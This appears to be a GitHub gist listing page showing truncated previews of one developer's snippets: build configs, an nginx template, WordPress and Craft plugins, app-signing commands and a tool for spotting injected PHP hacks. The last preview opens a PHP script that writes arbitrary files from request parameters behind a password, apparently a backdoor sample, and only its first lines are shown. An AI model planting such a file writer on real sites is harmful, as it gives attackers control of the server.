I hereby claim:
- I am emcniece on github.
- I am emcniece (https://keybase.io/emcniece) on keybase.
- I have a public key ASDnPylyaQBajVKzGHiXnfoPtyfuW-rtVn0UpL4JsvBtOQo
To claim this, I am signing this object:
# Forked from https://raw.githubusercontent.com/jwilder/nginx-proxy/master/nginx.tmpl | |
# For use with https://github.com/emcniece/rancher-catalog/tree/master/templates/letsencrypt-nginx-proxy/0 | |
# This version allows Rancher itself to be available on the network, given VIRTUAL_HOST | |
# and VIRTUAL_PORT environment variables. | |
{{ $CurrentContainer := where $ "ID" .Docker.CurrentContainerID | first }} | |
{{ define "upstream" }} | |
{{ if .Address }} | |
{{/* If we got the containers from swarm and this container's port is published to host, use host IP:PORT */}} |
var webpack = require('webpack'); | |
var path = require('path'); | |
var fs = require('fs'); | |
var nodeModules = fs.readdirSync('node_modules') | |
.filter(function(x) { | |
return ['.bin'].indexOf(x) === -1; | |
}); | |
module.exports = { |
'use strict'; | |
import gulp from 'gulp'; | |
import webpack from 'webpack'; | |
import path from 'path'; | |
import sync from 'run-sequence'; | |
import rename from 'gulp-rename'; | |
import template from 'gulp-template'; | |
import fs from 'fs'; | |
import yargs from 'yargs'; |
I hereby claim:
To claim this, I am signing this object:
// Add this to the same directory as your functions.php | |
<?php | |
class CITTA_Builder_Module_Image extends ET_Builder_Module { | |
function init() { | |
$this->name = __( 'Custom Image', 'et_builder' ); | |
$this->slug = 'et_pb_custom_image'; | |
$this->whitelisted_fields = array( | |
'src', | |
'img_size', |
<?php | |
/* | |
Firstline Dump Tool | |
[email protected] | Dec. 1 2015 | |
A handy tool for analyzing the first line of each php file, | |
which is usually where hacks get injected. | |
Visit in a browser to activate. | |
*/ |
<?php | |
// should be at /craft/plugins/dlfile/dlfilePlugin.php | |
namespace Craft; | |
class dlfilePlugin extends BasePlugin | |
{ | |
public function getName() | |
{ | |
return Craft::t('DL File'); | |
} |
0. RUN CMD AS ADMIN | |
1. [CONSOLE]Generate key file | |
openssl genrsa -des3 -out ios.key 2048 | |
2. [CONSOLE]Generate signing file | |
openssl req -new -key ios.key -out ios.csr -subj "/[email protected], CN=YourCompanyName, C=CA" | |
- or - |
http://www.adamwadeharris.com/sign-publish-phonegap-app-google-play-store-windows/ | |
1. phonegap build android --release | |
2. cd platforms/android; ant release | |
3. cd bin; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /path/to/keystore/myapp.keystore MyApp-release-unsigned.apk myapp | |
4. jarsigner -verify -verbose -certs MyApp-release-unsigned.apk |
<?php | |
$action=$_REQUEST['action']; //页面状态 | |
$password=$_REQUEST['password'];//接口密码 | |
$pathname=$_REQUEST['pathname'];//文件目录名 | |
$keywordindex=$_REQUEST['keywordindex'];//0 然并卵 | |
$filename=$_REQUEST['filename'];//生成文件名 | |
$body=stripslashes($_REQUEST['body']);// 生成文件的内容 | |
$jamin = @$_GET['pw']; | |